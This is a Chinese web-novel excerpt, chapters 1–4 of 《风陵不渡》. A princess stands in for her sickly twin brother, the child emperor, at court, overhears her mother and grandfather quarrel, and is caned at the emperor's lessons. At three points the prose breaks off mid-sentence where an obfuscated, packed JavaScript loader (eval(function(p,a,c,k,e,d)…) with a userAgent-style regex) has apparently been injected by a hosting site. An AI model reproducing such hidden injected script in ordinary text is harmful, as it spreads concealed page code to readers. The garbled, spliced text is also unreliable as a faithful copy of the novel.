《风陵不渡》 1. 第一章 她的头突然重重往下一点,下巴几乎磕到自己的锁骨上去,头上戴着的冕冠险些也跟着掉下来,十二旒玉藻噼里啪啦地响成一串,一下子把她从昏昏欲睡的边缘拽了回来。帘后随即传来重重的“咳”一声。 “陛下,坐好。”母后的声音像从牙缝里挤出来的。 明绰的小脸皱成了一团,伸手去扶冕冠。她父皇的头显然比她大得多了,每次上殿之前,母后总是要想许多法子才能把这顶冕冠固定在她头上。明绰想腾一只手来撩开玉藻,冕冠就又坠下来,完全遮住了她的视线。她想摘下来,可是玉笄栓结着她的头发,反而扯得她头皮好痛,弄得好不狼狈。 “母后……”她终于小声地叫出来,“母后!” 只听身后珠帘微响,谢太后起身坐到了她身边。母亲的手轻柔地拂过,冕冠终于被扶了起来,玉藻堪堪垂到明绰眼前。垂目看阶下,一片清明。旁人都是低着头,连原本正在奏事的谢聿也是垂眼看着自己手中的笏板。唯独她的太父谢郯,立于群臣之首,正仰着脸,目光紧紧地盯着她,嘴角整个往下撇着,那模样瞧着不大高兴。 明绰让他看出背上一层汗,分外心虚地挺直了背。 谢太后朝兄长微微示意:“谢卿接着说。” 在她险些睡着之前,谢聿正说到西北乌兰部伐羌之事。那西羌皇帝的叔父,叫什么葫芦的,为了争位,跑去跟更北边乌兰部的可汗勾结。但是被西羌皇帝察觉,葫芦就干脆引来了乌兰部的大军。西羌有个姓扣的重臣,也被葫芦策反,领兵里应外合,一起把西羌的皇帝弄死了。 谢聿看了她一眼,不动声色地把话头往回拨了一点儿:“臣方才正说到,乌兰郁弗悔了与寇显之女的婚约,另娶雍州段氏女,合雍州兵马五万,兵围长安。寇显走投无路,献上了纥罗的人头。如今,长安已归乌兰。” 明绰连连朝舅舅眨眼,以示感谢。然后又想起来她在这儿是演她皇兄,萧盈恐怕不会跟舅舅挤眉弄眼的,赶紧又坐好了。 谢聿垂下眼,只当没看见,继续往下说:“这纥罗还有个儿子,被羌人余孽拥立为太子,领兵南逃。乌兰郁弗领兵追击,如今陈兵边境,派人给荆州刺史去信,要替先帝报仇,取这羌人太子的人头,以示归顺之诚。” 他把乌兰郁弗这封信在堂上念了一遍,这就是今日朝会要议的大事。荆州刺史不敢让他带人过来,更不敢一口回绝给他惹急了,急报建康,请陛下圣裁。 谢太后“嗯”了一声,手上拢了拢明绰颊边掉出来的一缕头发。谢聿是她的亲哥哥,有些话不必殿上明说,她已知父兄的心思,但过场总还是要走一走。 “诸卿怎么想?” 明绰现在坐得规规矩矩,一动也不敢动了。但谢太后也没再回到珠帘后面,就坐在她身边,听着众臣们争先恐后地进言。 再怎么说,乌兰也是西北蛮夷。也曾屡犯中原,以劫掠为生,不是什么好东西。提起“兀鲁蛮子”,谁都是要啐一口的。乌兰郁弗想归顺,大雍还瞧不上呢。明绰也听了几句,虽然群臣七嘴八舌的,但说来说去,都是一个意思——“非我族类”。 谢太后似是听烦了,抬了抬手:“今日要议的不是胡汉有别,诸卿……” 阶下忽然断喝一声:“还有何可议,自然是打!” 明绰撩开眼前的玉藻往下看,见说话的正是尚书令桓廊。他原本站在太尉身后,如今干脆往中间跨了一步,逼得谢聿不得不往后一让。 桓廊扬声道:“陛下容禀,乌兰郁弗虽然收服西海十八部,但还远远算不上大业一统。乌兰北有贺阆,西边还有诰弗部和渠搜人,东边还有陈氏伪朝。他一边陈兵襄阳,一边假意归顺,无非就是怕大雍出兵,黄雀在后——” 他说着,一撩朝服,跪了下来:“陛下,臣与叔父桓殷皆愿领兵西进,为陛下扫清僭伪,还于旧都!” 他说得掷地有声,却无人响应,殿上一片寂静,唯有他的声音荡得嗡嗡回响。 明绰下意识地抬头,想看母亲的反应。但谢太后面无表情,额上沿着发际抹了一圈鹅黄,脸上又涂得惨白,全无血色,这么垂眼看着人的时候,就像一尊画里的菩萨,看不出任何情绪。 自从前梁一百多年前被羌人所侵,失了长安,从辽东到漠北就成了天下英雄竞相逐鹿之地。前梁退守建康,仅余半壁江山。后来,前梁将皇位禅让给了萧氏先祖,建康改弦更张,换了国号为雍。但萧氏承继前梁大统,也将失长安之痛视为他们心头拔不出来的一根刺。 大雍穷尽三代,西征七次,仍是无功而返。直到十年前,先帝萧忨御驾亲征,反被羌人一支淬了毒的羽箭葬送了长安城外,若非谢太后当日腹中已怀有双生子,大雍国祚恐怕都要就此断绝。即便如此,陛下刚刚登基的两年,也是先后出了宛南王与燕康王之乱。当时谢太尉坐镇,几乎将萧忨的兄弟们都杀尽了,才稳住了朝局。经此离乱,方绝了朝中“西征”的呼声。 而这十年里,乌兰郁弗一统西海十八部,如今又得雍州强助,可谓兵强马壮。群臣们一半是一口一个“兀鲁蛮子”,另一半其实私底下也赞他天纵英才。大雍虽然家大业大,但终究有主少国疑之危,所以桓廊这话,竟是无人敢接。 桓廊见无人应和,“咚”一声就磕了个头,然后梗起脖子,将官帽摘了下来,像擎着自己的头颅,一张脸红得快要发紫,声如洪钟地质问道:“难道陛下已经忘了先帝的遗志吗?还是陛下甘愿偏安一隅,任由北地戎狄乘衅,豺狼竞驰!” 谢聿赶紧也把声音提高:“桓令君三思——” 然而他话还没说完,殿上突然传来了陛下奶声奶气的大声反驳:“我没有!” 群臣都没想到平日里从不开口的陛下会突然说话,一时都忘了规矩,纷纷抬头来看。 明绰:“乌兰郁弗灭了西羌,就是为父皇报了仇。咱们该回信谢谢他,怎好出兵打他?这是君子的为人之道,怎么是我——” 她说到一半,谢太后已经伸手揽住了她,指甲紧紧地嵌进她肩膀里,示意她闭嘴。可是明绰向来不是个愿意藏话的性子,根本拦不住,她只当母后是在提醒她改口。 “——这怎么是朕忘了父皇的遗志呢?” 谢聿反应极快,立刻道:“陛下所言极是!乌兰可汗为大雍收复长安,一片赤心,不可辜负!若是乘人之危,恐为不义之师!” 明绰还想说话,但是谢太后一把摁住了她:“桓令君先起来再说吧!” 谢聿马上又插话进来,半点不给桓廊说话的机会:“臣请陛下下旨,封乌兰可汗为长安王!以示招抚!” 桓廊一下子跳起来,好像恨不得要用手里的笏板朝谢聿头上打下去:“谢聿!你这国贼!” 谢聿也涨红了脸:“桓令君穷兵黩武,只为你一家一姓之功,到底谁是国贼?” “穷兵黩武也好过你谢家养寇自重!” “桓廊!陛下跟前,你说话可要小心着脑袋!” 桓廊突然冷笑了一声,抬头看定了明绰。就那一瞬间,明绰看到舅舅的脸色突然变得极为可怕。 “陛下跟前?”他意味不明地压低了声音,眼睛向谢聿,然后又转开,看定了尚未开口的谢太尉,“陛下?!” 说时迟那时快,明绰还没明白他什么意思,谢太后已经狠狠在她胳膊上拧了一记。这一下手重了,明绰吃痛,只听母后在她耳边轻声道:“哭!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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明绰小心地凑到母后膝前,极力做出乖巧的模样来:“母后,溦溦知道错了。” 谢拂霜垂眼看她,伸手把女儿揽进怀里,抚了抚她手臂上被掐的地方,轻声道:“疼不疼?” 明绰摇摇头,玉藻又噼里啪啦地响成一串。 谢拂霜揉了揉她的脸:“我的溦溦如此聪慧,哪里有错?都是那桓廊的不是。他殿上无状,无非是欺你年少,可恶至极!” 明绰认真地想了想:“他不是欺我,是欺皇兄。” 谢拂霜好一会儿没说话,定定地看着她的眼睛。明绰又补了一句,好像母后不知道似的:“皇兄才是大雍的天子啊。” 谢拂霜突然笑了一声,手指在女儿颊边拂过,冰凉的触感激得明绰不自觉瑟缩了一下。 明绰不明所以,但感觉母后还是不太高兴的样子,便把手伸到谢拂霜太阳穴上,不得要领地揿上两记:“母后头又疼了吗?” 谢拂霜把她的手抓下来,握在自己手心里:“母后没事。” 明绰又殷勤地去给她揉肚子:“肚子又疼了吗?” “好了。”谢拂霜笑起来,把女儿紧紧搂在怀里,也不管她头上的冕冠歪成了什么样子。 母女两个正依偎着,有人突然来报了一句“谢太尉到了”,谢拂霜才将明绰放开,示意芸姑过来:“带长公主下去吧。” 其实明绰还想听一听母后跟太父会说什么,但太后与太尉议事,从来都是连伺候的人都不让留在殿中的。不过明绰早已不是第一次偷听,自有法子。 一回到她自己的寝殿,明绰就寻了个由头,非要换一件绯色的袿衣,把满宫的人支使得团团转,然后像只小耗子似的,悄无声息地跑了回来。 谢拂霜殿中有一架五扇漆木屏风,甚为精美壮丽,掩住了一道扉门,平日里供宫人出入,端茶奉水。明绰轻车熟路地从扉门另一头悄悄进来,正好躲在那架五扇漆木屏风后面。 谢郯的声音传过来,清晰地如在耳畔。 “你是太后做得太久了,”她听见太父的语气冷冰冰的,比他当时在殿上的眼神还吓人,“可还知道‘体统’二字怎么写吗?” 2. 第 2 章 明绰把耳朵整个贴在了屏风上,生怕漏听了一点儿。穙齐香的味道从屏风的缝隙里钻进来,熏得她鼻子痒痒。 谢太后:“旁人不知道,父亲难道还不知道我的难处?盈儿时犯心痛之症,实在是体力不支……” “你不必拿这些话来搪塞我。陛下已经懂事了,他若身子不适,自会传话罢朝。” “他哪里敢?群臣都欺他年少,要是让长沙王知道他体弱多病,朝野上下再生异心,大雍还有宁日吗?”谢太后声音带了哭腔,“我既为人母,怎么忍心看他如此逞强?万一有个三长两短……” 谢郯断喝一声:“休得胡言!” 谢太后立刻噤声。隔着一架屏风,明绰都感到空气中升起一阵令她牙酸的冷意。 许久,谢郯才轻轻叹了口气,带着一丝息事宁人的意味:“我自是知道你的难处,可是两个孩子一日大似一日,已经瞒不过去了!你以为今日只有桓廊一人看出端倪吗?” “那又如何?”谢太后不哭了,“有父亲在,谁敢说一个字?他桓廊也未必就真敢……” 谢郯语气更恼:“你当为父是赵高么!” 谢太后只好轻轻地“哼”了一声,但终究未再顶嘴。 谢郯又道:“天子冕服不要再放在上阳宫照管了。你送去含清宫,以后上不上朝,由陛下自己决断吧。” 谢太后的声音一下子沉下来:“父亲这是要罢本宫听政之权?” 谢郯不置可否,只道:“主少国疑,大臣未附,百姓不信。所幸陛下年少持重,早慧通透,识人断事常有先见之明。再过两年,等他亲政,必为明主,用不着你过多忧心。倒是明绰这孩子……” 谢郯突然顿了顿。躲在屏风后的明绰顿时吊起了半颗心,然而谢郯并没有像评价萧盈那样说上许多,只简简单单道:“你还是多花些心思教养她。” 谢太后的语气突然有些古怪:“溦溦怎么了?” 然而谢郯的回应只有一声冷哼。 谢太后发出了一声难以置信似的怪声,似是想笑,但又压不住火气:“父亲有话还是说出来,不然本宫都不知道该如何教养女儿!” 谢郯便道:“今日若是陛下在殿上,必不会多言。” 谢太后深吸一口气,就等着谢郯说这个,她好发作似的:“所以臣工才觉得他软弱,好欺负!” “当庭驳斥重臣,就是不软弱了?”谢郯回道,“太极殿上,岂容她如市井悍妇一般吵闹……” 衣料摩擦的簌簌声一下子响了许多,谢太后似是突然站了起来。她的声音一会儿远,一会儿近,好像是速度极快地踱着步,每个字里都从牙缝里挤出来似的。 “桓廊吵得,兄长也吵得,独本宫的女儿只说了一句话,就成了悍妇?父亲这是什么道理?” “桓家世代高门,令君也是才高德众、深得名望之人,他殿前死谏,史官只会说他忠直耿介,一心为国!就算他是欺主年少,主君也只有听的份,否则,史书上便是为君者刚愎自用,不肯虚心纳谏——盈儿不是软弱,他是懂得为君之道!” “是啊!”谢太后毫不相让,“盈儿自五岁起就得你亲授为君之道,我的溦溦懂什么?父亲可曾教过她认一个字?” 谢郯厌烦地叹了口气:“好好的,你怎么又说到这上头了!” 明绰躲在屏风后,还没明白过来她到底在太极殿上做错了什么惹得太父这般声色俱厉,就被母后这突如其来的翻旧账打了个措手不及。一时顾不得对太父恼火,竟也在心里跟着他念了一句,“又来了”。 自从天子萧盈迁宫的那个春天起,谢家父女俩这场拉锯就开始了。 景平五年,建康城中伤寒一时肆虐,萧盈养在深宫里,不知道怎么竟然也被染上了。谢太后当即就下令让陛下去含清宫养病,免得再过给东乡公主。好在那年的伤寒并不凶,萧盈发了几天热就好了。 明绰原本以为,皇兄好了就会被接回来。但陛下前脚刚从病榻上起来,谢郯后脚就兼领了太傅,以其子谢聿为修撰官,另点了门下才德兼备者六七人,分任直学士、侍讲学士等职,开始给陛下讲学。 自此,萧盈再也没有回过上阳宫。 谢太后自然不会反对陛下读书,但大雍女子亦可受教,谢太后的意思是,一母同胞,也没有厚此薄彼的道理,那就送公主一道去读书吧。 然而被谢郯一口回绝。 谢郯的说法是,明绰小小年纪,没必要吃这样的苦头。天子夙兴夜寐,那是因为江山的担子太重。可是公主读书,于社稷无碍,不过陶冶些情操,叫她明白些事理罢了。他绝非偏心,也是为着明绰着想。谢聿的女儿星娥比明绰也就小了三岁,不妨再等等,到时候从宫中选拔一些才高德全的女官,再从士族高门里选几个年龄相仿的贵女,跟星娥一起进宫来给公主陪读,岂不比让她去男人堆里读书更得体些? 谢太后并不这么觉得。 父女两个原是掩着门密谈,后来吵得根本也顾不上密不密了。谢郯抛下了一句“你翻不过天去!”,便拂袖而去。谢太后在殿中气得连熏香的暖炉都一脚踢翻了,没一个人敢进去伺候。 谢郯:“你若真想让明绰进学,那为父考校出来的女尚书为何不用?星娥去年就该开蒙了,要不是你一拖再拖……” “那也不耽误父亲在家教星娥识字吧?” 谢郯让她说了个正着:“你……!” “父亲偏心陛下也就算了,如今连星娥都越过明绰去了!” 谢太后说到这里,突然“哎哟”一声,重重地往后一倒,若不是腰后有凭几靠着,只怕要直接撞到这屏风上。明绰一颗心几乎要从喉咙口跳出来,险些奔出去看母后怎么了。 谢郯的声音也急了:“拂霜?” 又是一阵簌簌整衣之声,这下是谢郯站了起来,伸手去扶女儿:“头风又犯了么?传太医——” 谢拂霜一把推开了父亲:“不必!” 明绰又听到了母后的哭声,极力压抑着。比起方才凄凄切切地诉苦,这种哭声反而更叫她难过。她从母亲的哭声里感觉到了一份沉甸甸的委屈,像是炉里洒多了穙齐香粉,密密匝匝地漾进空气里,让人无法呼吸。 谢郯的声音夹在女儿压抑的哭声里,也是低低的:“你就是心气太高了,明绰也是随了你。” 谢拂霜:“本宫心气高,是父亲养出来的。如今本宫的女儿心气亦高,那就是谢家的家风。” 谢郯竟然笑了一声,可是转念一想,又只有长叹一声:“可惜她偏偏是个女儿身。” 女儿家心气太高,这一生就不知道有多少苦楚磨难等着她。谢郯看着微微垂眼,两根手指紧紧抵住太阳穴缓解头痛的女儿,心中突然五味杂陈。 谢郯:“这穙齐香对你的头风管用,明日叫你兄长再拿些来。” 谢拂霜吸了吸鼻子,也给了父亲一个台阶:“不妨事,西域来的东西难得,父亲还是留一些自己用吧。” 明绰听到这里,便知道父女两个算是吵完了,赶紧一手提着腿上过长的衣摆,一手抓住眼前晃个没完的玉藻,趁他们都没发觉,悄悄地溜走了。 其实她并不担心太父和母后吵架,虽然吵得凶,但连明绰都很清楚,太父不会罢了母后,他也根本罢不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢拂霜赶来,亲自在床边照顾了一晚上,一直到天蒙蒙亮才浅睡了片刻,马上又起来去与重臣议事。朝会虽是十日一开,但四境杂务不挑日子,有人求见,太后就歇不得。那边事一毕,谢拂霜连饭也不用,先过来看明绰。装着肚子疼的明绰看着真头疼却强忍着的母后,终于受不住良心的谴责,漏了底。 不过一炷香的时间,东乡公主被太后身边的梁女史牵着,走进了含清宫。 不知是不是因为她已错过了早上的讲经,还是天子身边的侍读也有轮班,殿中的人没有她想的这么多。除了太父和她皇兄,就只有两个人,舅舅也不在。 那两人里一个站在皇兄身边,头发已经间杂花白,瞧着比谢郯还要老。另一个则独占一张案几,手中执笔,面前摊开一张黄纸,要随时记下君臣所言。 而谢郯和萧盈倒中间只有一鼎香炉,两杯淡茶。不像是传经授义,倒像是寻常文士清谈。 她一进来,两人的话音戛然而止。殿中四个人,八只眼睛,全都转过来,看着突然进殿的少女。谢郯的神色先是有些吃惊,随即便是了然。倒是萧盈的神色竟和那两个侍从一般,根本不认识她是谁。 梁芸姑先给天子行完礼,这才道:“东乡公主到。” 萧盈的眼睛突然亮了一下。明绰实在没忍住,明知在太父面前这样肯定要挨教训,还是狠狠翻了一个白眼。 谢郯果然把脸一沉,重重地清了清嗓子。两个侍读立刻起身,恭恭敬敬地给东乡公主行礼。 明绰只好呼出一口气,顶着谢郯锅底似的脸色,朝已经认不出她的萧盈屈膝低头:“东乡见过皇兄。” 3. 第 3 章 若是换一个明绰心情好些的时候,她倒也不会责怪萧盈认不出她,因为她也几乎快认不出皇兄了。 两个孩子如今不在一处教养,一年到头也不见得能见上一面。明绰上回见他还是过年,天子携宗亲百官祭礼。她能看见皇兄,皇兄却未必能看见站在人群里的她。对萧盈来说,上次见到这个妹妹是什么时候,就更不好说了。 这个年纪的孩子,隔上一年半载的见不着,形容便要大改。 明绰的礼行得很有情绪,但是萧盈没往心里去,还没等她完全躬下去,就忙抬手示意:“快起来吧。” “谢皇兄!”明绰二话不说就站直了身子,抬起头,直勾勾地盯着已经陌生的皇兄看。 萧盈也看着她,似是当真欢喜,掩不住的笑意。容貌还还未完全长开,但这一笑,已有了日后俊爽昳丽的影子。即使跪坐在那里,也看得出手长脚长,要比同龄的孩子高些。只是整个人苍白瘦削,宽袖下仅露出一双手,也是骨节分明,像蜘蛛脚似的,苍白嶙峋,是个病秧子无疑。 可偏偏就是这份病气,配上他尚未长成的稚气,混杂出了一份别样的如珠如玉。 皇兄生得可真是……明绰那点儿捉襟见肘的墨水在肚子里翻了翻,最终倒腾出来一句——不算辱没了祖宗。 自前梁起,他们萧氏就以“美姿仪”著称,美男子甚至比美女都多。明绰的高祖就是因“面若敷粉、眸似岩电”得了前梁皇帝的宠信,直至权倾朝野,最后以雍代梁。明绰虽未见过父皇的面,但所有人都说,怀帝萧忨当年也是“风仪闲畅,神仙中人”。 这一点明绰相信,所有人都说她像极了怀帝。想来果真是女肖父,儿肖母——可萧盈生得虽好看,却和谢拂霜一点儿也不像。谢拂霜是一双圆圆的杏眼,萧盈却是狭长的桃花眼,最要紧的是,那双桃花眼还是个重睑。小的时候没看出来,如今大了,显眼得很。 明绰马上把目光移到谢郯脸上。太父、舅舅和母后,还有她,甚至是表妹谢星娥,没有一个人是重睑。 谢郯不知道她眼珠子滴溜溜地在看什么,沉着声音问:“长公主可知道现在是什么时辰了?” 明绰回过神来:“未时。” 谢郯又转向萧盈:“陛下是几时开始上课的?” 萧盈已听懂他的话音,一时收敛了笑意,轻声道:“太父,溦溦才刚来……” 谢郯没听他说完,不知道从什么地方抽出一把戒尺来,不轻不重地往案上一放。 “陛下每日卯时起身,温课五刻钟,辰时讲经,每迟一刻,便罚一尺。长公主算算,你该罚几尺?” 明绰嘴一瘪,不敢回答了。 谢郯:“不会算?那臣替公主算。三十尺——” 明绰急道:“明明只有二十四尺!” 谢郯嘴角微微一动,好像是被她逗乐了,但那一点松动也是微乎其微,整张脸还是板着,示意明绰把手伸出来。 明绰仍不甘心,先看萧盈身边的侍读,然后又看梁芸姑,好像指望他们谁主动出来替她挨打似的。 谢郯似是知道她心中所想,道:“除非陛下抱恙,不然也是要自己挨戒尺的。” 明绰抓住了机会:“我也抱恙!太父,我肚子疼!” 她生怕谢郯不信,马上抱住了肚子,“哎哟”“哎哟”的叫个没完。这一招她骗过了谢拂霜,但昨晚毕竟是在床榻上滚来滚去,瞧着可信许多。如今站在堂下,又还有外人在,明绰怎么也不肯滚到地上去,一时发挥受限,便只剩滑稽。 她也不知道谢拂霜早已叫人来报过病,如今人又突然来了,谢郯朝梁芸姑看一眼就知道是怎么回事。但他什么都不说,就看着明绰演。 那小丫头着实聪明,挤着眼睛看了看太父的神色,自己也觉得没趣儿,不叫唤了。 “罚就罚。”明绰咬住下嘴唇,上前一步,视死如归地把手心伸了出去。 谢郯二话不说,抄起戒尺就是“啪”地一下。 明绰没想到戒尺打下来会这么疼,当即就要缩手,但是谢郯毫不留情地抓住了她的手腕,“啪啪”又是连打了几下。 “自己数着。” “唔!”明绰呜咽了一声,一只白嫩的小手已是红了一片,偏她性子里天生有几分倔,太父既然这样说,她便不肯服软,梗着脖子,硬是把那一声呜咽遮掩了过去:“六!七!——” 谢郯打得扎实,转眼就打过了十下。明绰疼得连数都数不下去了,眼泪汪在眼眶里了,手心也攥起来,不肯让他打。 “张开。”谢郯顿了顿,耐着性子说了一句。 明绰一双泪眼看着他,摇了摇头,把手心攥得更紧了。谢郯也不多话,又是一戒尺打下去。指关节不比肉掌,碰在戒尺上更疼。明绰这下再也忍不住,疼得眼泪夺眶而出,呜呜地叫起来,像只委屈的小狗。谢郯铁石心肠,戒尺不停,又往下抽。 说时迟那时快,另一只手突然伸过来替明绰挨了一下。只听谢郯惊呼了一声“陛下!”,明绰就感受手上一松。她连退几步,疼得“嘶嘶”直抽气。 萧盈的手还伸着,掌心也是一道红痕。但他连眉毛都没抬一下,手指微微蜷缩,掩住了掌心,神色淡淡地劝了一句:“太父,算了吧。” 谢郯正色道:“陛下,周公有云,赏必分,罚必施。若是定了规矩,却不遵守,立法便成空文。此乃立国之本,不可疏忽。” 萧盈不紧不慢地回道:“太父说得有理,但尧帝也立下‘三宥之法’,不知者教,过误者改,无心者释。溦溦不知道一刻一尺的规矩,应当教化为先,再犯则罚。” 明绰捧着已经肿起来的手心,眼泪断线珠子似的往下滚,哪里还耐烦听他们掉书袋。她被谢拂霜娇惯着养到这么大,母后就是再气,最多在她屁股上拍两下,几时舍得上过家伙? 明绰当即就叫梁芸姑:“还再犯什么?我们这就回去!我再不来了!” 梁芸姑自然是不敢带她回去,只好蹲下来,捧着她的手掌小心地哄。谢郯看了她一眼,又问萧盈:“冥顽不灵,想必还要再犯,也不该打吗?” 萧盈微微垂下眼:“这才更不能打了。郑有子产宽刑化民,晋有文公赦罪求贤,皆是因慎刑宽法得到群臣归附,百姓信服,国家大治。是以法不可独任刑。古之明君立下赏罚分明,是为了以儆效尤,如今太父罚她,为的是让她向学,而非警示旁人。若是打足二十四尺,便是刑罚过重,伤了公主的手,她还怎么学呢?但若是本该打二十四尺,却只打了十二尺,便是恩威有度,她感念恩德,这才不会再犯。” 明绰:“……” 她感念个鬼! 但谢郯点了点头,放下了戒尺:“说得好。” 萧盈随即招了招手,示意侍读再取茵和凭几来,就设在自己身边,那意思便是让明绰也坐下。 但是明绰没动。 手倒是没那么疼了,谢郯虽然严厉,也不至于对亲外孙女下狠手。但明绰脸上火辣辣的,是另一种羞辱。她说不明白,但她感觉得出来,太父因材施教,教的只有皇兄,而她是那个“材”,和太父手中的那把尺没什么区别,都是工具而已。一切的目的不是她知不知错,向不向学,而是皇兄能不能从中得出什么道理。 她只是年纪小,却并不是没有尊严。太父偏心皇兄,这是她自小就已经知道的事情,已经不会再放在心上。可是直到此刻,她才有了另一番痛彻手心的体会。 太父给表妹两颗糖,给她一颗糖,这才叫偏心。太父拿她来教皇兄“为君”,这就不是偏心了。 这是一人之下,再无他人。 她迟迟不动,谢郯终于抬头看了她一眼:“还不坐?” 明绰放下手,语气干巴巴的:“东乡犯了错,不敢与皇兄同坐,站着听便是了。” 萧盈意外地看了她一眼。明绰当即把下巴昂得高高的,有意站到了他背后。那位白发侍读忙垂首躬身,让了一让。这么近处一看才发现,他虽遍生华发,脸上却不见多少沧桑,其实和舅舅谢聿差不多年纪。 明绰有些奇异,但他已经往后退了一步,不敢与长公主并列。 谢郯:“陛下,那我们继续说应对乌兰之策。” 萧盈也只好不再往后看:“中书令请封乌兰郁弗为长安王一事,朕以为不妥。” “何处不妥?” “乌兰郁弗不是真心归顺,如今姿态恭敬,恐怕只是权宜之计 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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谢郯终于抬手打断了纸上谈兵的少年天子:“乌拉山天险难越,贺阆与中原已三四百年不通音讯。这三族是贺阆分支也是前朝周游志所载,真假既不可考,大雍也没有会说贺阆语之人。要派使节前往,只怕是有去无回。” 萧盈停下来想了想,点头道:“太父说的是。” 谢郯又道:“长安王还是得封。” “可是……” 谢郯微微颔首,示意萧盈稍安勿躁:“陛下思量得不无道理。但长安自古是汉人旧都,如今换乌兰郁弗坐了王庭,大雍若不征不讨,就只能赏赐给他,否则……” 萧盈已经明白过来:“便是失了正统。” 明绰:“……” 这“正统”不是早就在前梁时候就丢给羌人了吗?还装什么呢? 谢郯微微抬眼:“长公主有话要说?” 明绰很识相地挤出一个笑脸:“没有,皇兄和太父接着说。” 她到底来得太晚,萧盈日常的课业早该结束了。为着她在听,又硬生生拖了许久。明绰一直站着听,竟也没有觉得累。反倒是萧盈,到底是起得太早了,支撑到现在已经是满脸倦容,天子的乳母早已端着吃食,在殿外等了不知道多久。直到萧盈终于没忍住打了个哈欠,谢郯才终于放兄妹两个下了课。 明绰耐着性子,持着礼等萧盈客客气气地送人,等到谢郯的背影一消失在殿门外,她就从地上弹起来似的,恨不得一路小跑着出去。 梁芸姑着急地举着夹袄跟在后面:“长公主慢点!外面冷!” 她两步追上来,轻轻摁住了明绰的肩膀,一边给她套上夹袄,一边小声在她耳边提醒:“长公主告退也该先问陛下一声。” 明绰转过身,带着十二分的敷衍,语速飞快:“皇兄要是没什么别的吩咐的话……” 萧盈没让她说完,招了招手,示意她进来。 明绰把心一横,决心当做没看见:“那我就先告退了——” “留步。”天子轻轻开了口,两个字像是有千钧之力,一下子就把梁芸姑勾住不走了,她顺手还把明绰的肩膀也勾住了。 萧盈:“溦溦,来。” 4. 第 4 章 眼下过了冬至,白日已短,虽还未完全天黑,殿内也需要点灯了。天子寝殿不计靡费,燃着铜铸的多枝灯,照得比方才上课的殿室还亮。 萧盈坐在灯下,反而大半张脸都暗着,倒是伸出来的手在灯影下苍白得醒目。明绰的小手肿得肉嘟嘟的,被他攥在手心里,更衬得他那只手一丝多余的肉也没有,像白玉雕出来的似的。 他正拿一根小竹签,沾着薄荷叶捣碎的绿泥往明绰掌心抹。 薄荷叶泥端上来的时候,梁芸姑本来要代劳,但是萧盈没让。明绰当时心里还有点不耐烦,但是萧盈这样细致,她想想皇兄还替她挡了一戒尺,那点儿不耐烦就消散了。 “敷一会儿,就洗了去。”萧盈放开她的手,“明天就不会肿了。” 明绰把手收回来,真心实意地对他笑了笑:“多谢皇兄。” 萧盈正低着头把那小竹签上残余的叶泥擦掉,看她的时候只抬了抬眼皮,语气很是了然:“所以明天你就没有借口不来了。” 明绰:“……” 她感激的笑意突然僵在了脸上。 萧盈笑了,示意宫人把东西都拿下去。他的乳母宋夫人这才把早已备下的果脯蜜饯、糖饼炒豆摆了一桌子,还有一小碗乳白的酥酪似的东西,宋夫人特意摆在了明绰的面前。 明绰顺势抬头看了一眼宋夫人。以前两个孩子养在一起,她也曾经是公主的乳母,小的时候明绰跟萧盈都叫她“姊姊”。只是天子迁宫的时候宋夫人被太后打发过来贴身照顾当时感染了伤寒的小皇帝,后来再也没回去,明绰已是好久没再见到她了。 宋夫人跪坐在地,亲自喂她吃那碗酥酪。 明绰张开嘴,感觉像是一口极浓的奶冻含进嘴里,马上又化了,从舌尖一下子就滑了下去。这比她先前吃过的所有酥酪都好吃,她的眼睛一下子就睁大了。 宋夫人见她这个反应便笑,压着声音,跟明绰告状似的:“陛下昨夜里知道长公主要来,特地要我准备了这羊奶醍醐。谁知后来上阳宫来传话,又说长公主不来了,陛下好不高兴呢……还好长公主来了。” 萧盈只道:“姊姊。” 明绰伸手接了碗,小声道:“我自己吃吧。” 宋夫人便又把果脯蜜饯往她面前推,看着她吃羊奶醍醐,眼睛里是说不出的疼爱欢喜,左颊边有一个浅浅的酒窝,还和明绰记忆里一样。 明绰感觉心口就跟也揣了一碗醍醐似的,一晃就颤颤巍巍,碰一下,就全都化了。 她没想到皇兄会这么欢喜她来。现在回忆起来,她与皇兄小时候也是很亲密的,当初萧盈迁到含清宫,明绰也是哭闹了好久。但毕竟是小孩子心性,后来习惯了,也就根本再想不起来皇兄了。 怀帝只留下这一对孩子,明绰再没有别的兄弟姐妹,可玩伴却是不缺的。谢郯曾经说要挑选名门贵女进宫给公主伴读,谢太后虽然一心想着让明绰去含清宫进学,倒是也没拦着这些女孩子们常来常往,甚至还在宫中设立了女官考学制度。年长聪慧的,便如梁芸姑一般,能留在太后身边辅佐政事。 明绰代兄上朝的时候,往下瞧一眼,那些黑胡子白胡子她不一定都认得,但要是报上名字,他们家的女儿、侄女儿、孙女儿,明绰一定认得。 萧盈恐怕并没有这么多人陪他玩。 明绰看了看还剩的半碗羊奶醍醐,心里有点儿过意不去,伸给了萧盈:“皇兄也吃。” 萧盈轻轻把头往后一仰,只是笑着摇了摇头。 宋夫人:“太医说醍醐燥润补虚,太尉让日日都给陛下补着,他都吃腻了。这是特意留给长公主的,长公主快吃吧。” 萧盈突然道:“姊姊,你先下去吧。” 宋夫人浑然不觉自己说了什么不该说的话,但天子这么说,她就起了身。明绰便也挥了挥手,示意梁芸姑一起下去等。 殿里一时就剩兄妹两个,明绰把剩下的醍醐当奶一般喝了下去,十分满足地舔了舔嘴唇,又伸手去拿果脯,吃得十分坦然: “皇兄多虑了,我才不在乎呢。” “什么?” 明绰塞得半个腮帮子鼓起来:“你天天有醍醐就有呗。” 